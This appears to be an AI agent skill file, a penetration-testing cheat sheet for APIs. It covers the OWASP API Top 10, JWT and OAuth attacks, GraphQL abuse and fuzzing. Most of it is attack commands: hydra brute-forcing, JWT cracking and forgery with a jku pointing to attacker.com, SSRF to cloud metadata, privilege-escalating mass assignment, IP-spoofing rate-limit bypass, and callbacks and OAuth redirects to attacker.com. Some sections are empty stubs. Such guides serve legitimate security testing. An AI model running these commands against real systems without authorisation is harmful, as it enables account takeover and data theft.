| name | api-security-testing |
| description | API security testing guide covering OWASP API Security Top 10, JWT attacks, OAuth vulnerabilities, GraphQL security, and API fuzzing techniques. |
API Security Testing Skill
Comprehensive API security testing guide for 2025.
OWASP API Security Top 10 (2023)
API1: Broken Object Level Authorization (BOLA)
curl -X GET https://api.target.com/users/123 \
-H "Authorization: Bearer user_b_token"
for id in $(seq 1 100); do
curl -s "https://api.target.com/orders/$id" \
-H "Authorization: Bearer token" | grep -v "404"
done
API2: Broken Authentication
jwt_tool token.jwt -C -d wordlist.txt
jwt_tool token.jwt -X a
jwt_tool token.jwt -X n
hydra -L users.txt -P passwords.txt \
https-post-form "api.target.com:443/auth/login:
{\"email\":\"^USER^\",\"password\":\"^PASS^\"}:
Invalid credentials"
API3: Broken Object Property Level Authorization
curl -X PUT https://api.target.com/users/me \
-H "Authorization: Bearer token" \
-d '{"name": "John"}'
curl -X PUT https://api.target.com/users/me \
-H "Authorization: Bearer token" \
-d '{"name": "John", "role": "admin", "isAdmin": true}'
curl -X GET https://api.target.com/users/me \
-H "Authorization: Bearer token" | jq .
API4: Unrestricted Resource Consumption
curl https://api.target.com/endpoint \
-H "X-Forwarded-For: 127.0.0.1"
curl https://api.target.com/endpoint \
-H "X-Real-IP: 10.0.0.1"
curl -X POST https://api.target.com/upload \
-d @large_file.json
curl -X POST https://api.target.com/batch \
-d '{"ids": [1,2,3,...1000000]}'
API5: Broken Function Level Authorization
curl -X GET https://api.target.com/admin/users \
-H "Authorization: Bearer regular_user_token"
curl -X PUT https://api.target.com/users/me \
-H "Authorization: Bearer token"
curl -X DELETE https://api.target.com/users/other_user \
-H "Authorization: Bearer token"
/admin /administrator /manager /internal /debug /api/v1/admin
API6: Unrestricted Access to Sensitive Business Flows
curl -X POST https://api.target.com/trial/start
curl -X DELETE https://api.target.com/trial/cancel
curl -X POST https://api.target.com/trial/start
for i in $(seq 1 100); do
curl -X POST https://api.target.com/referral \
-d "{\"code\": \"FRIEND$i\"}"
done
API7: Server Side Request Forgery (SSRF)
curl -X POST https://api.target.com/webhook \
-d '{"url": "http://169.254.169.254/latest/meta-data/"}'
curl -X POST https://api.target.com/fetch \
-d '{"url": "http://localhost:6379/INFO"}'
API8: Security Misconfiguration
curl https://api.target.com/swagger.json
curl https://api.target.com/openapi.json
curl https://api.target.com/api-docs
curl https://api.target.com/graphql
curl https://api.target.com/debug
curl https://api.target.com/actuator/env
curl -X OPTIONS https://api.target.com \
-H "Origin: https://evil.com"
API9: Improper Inventory Management
curl https://api.target.com/v1/users
curl https://api.target.com/v2/users
curl https://api.target.com/api/v1/users
curl https://api.target.com/api/beta/users
API10: Unsafe Consumption of APIs
curl -X POST https://api.target.com/webhook \
-d '{"callback": "https://attacker.com/collect"}'
JWT Attack Techniques
JWT Structure
Header.Payload.Signature
Header: {"alg": "HS256", "typ": "JWT"}
Payload: {"sub": "1234567890", "name": "John", "iat": 1516239022}
Signature: HMACSHA256(base64UrlEncode(header) + "." + base64UrlEncode(payload), secret)
Common JWT Attacks
jwt_tool eyJhbGci...
jwt_tool eyJhbGci... -C -d /usr/share/wordlists/rockyou.txt
jwt_tool eyJhbGci... -X a -pk public_key.pem
jwt_tool eyJhbGci... -X n
jwt_tool eyJhbGci... -X s -ju "https://attacker.com/jwks.json"
jwt_tool eyJhbGci... -I -hc kid -hv "../../dev/null"
JWT Best Practices Testing
Checklist:
- [ ] Strong secret (>256 bits)
- [ ] RS256 preferred over HS256
- [ ] Expiration (exp) claim present
- [ ] Short expiration time
- [ ] Token revocation mechanism
- [ ] JTI (JWT ID) for replay prevention
OAuth/OIDC Security
OAuth Attack Vectors
https://auth.target.com/authorize?
client_id=xxx&
redirect_uri=https://attacker.com/callback&
response_type=code
redirect_uri=https://legitimate.com@attacker.com
redirect_uri=https://legitimate.com%0d%0a%0d%0aattacker.com
Token Security
GraphQL Security
Introspection Attack
{
__schema {
queryType { name }
mutationType { name }
types {
name
fields {
name
type { name }
}
}
}
}
python3 graphw00f.py -t https://api.target.com/graphql
inql -t https://api.target.com/graphql
GraphQL Injection
[
{"query": "{users{id}}"},
{"query": "{users{id}}"},
]
{
user(id: 1) {
friends {
friends {
friends {
}
}
}
}
}
{
__type(name: "User") {
fields {
name
}
}
}
GraphQL Authorization
{
user(id: "other_user_id") {
email
password
}
}
mutation {
deleteUser(id: "admin_id") {
success
}
}
API Fuzzing
FFUF (Fast Web Fuzzer)
ffuf -u https://api.target.com/FUZZ -w wordlist.txt
ffuf -u "https://api.target.com/users?FUZZ=value" -w params.txt
ffuf -u https://api.target.com/users \
-X FUZZ -w methods.txt
ffuf -u https://api.target.com/users \
-X POST \
-H "Content-Type: application/json" \
-d '{"name": "FUZZ"}' \
-w payloads.txt
Postman/Burp Collection Fuzzing
pm.sendRequest({
url: pm.environment.get("base_url") + "/admin/users",
method: "GET",
header: {
"Authorization": ""
}
}, function(err, res) {
if (res.code !== 401) {
console.log("Potential bypass found!");
}
});
API Security Checklist
Authentication
Authorization
Input Validation
Rate Limiting
Logging & Monitoring
Quick Reference
| Attack | Tool | Command |
|---|
| JWT cracking | jwt_tool | jwt_tool token -C -d wordlist.txt |
| API fuzzing | ffuf | ffuf -u URL/FUZZ -w wordlist.txt |
| GraphQL introspection | inql | inql -t URL/graphql |
| BOLA testing | Burp | Autorize extension |
| Rate limit bypass | Custom | X-Forwarded-For header rotation |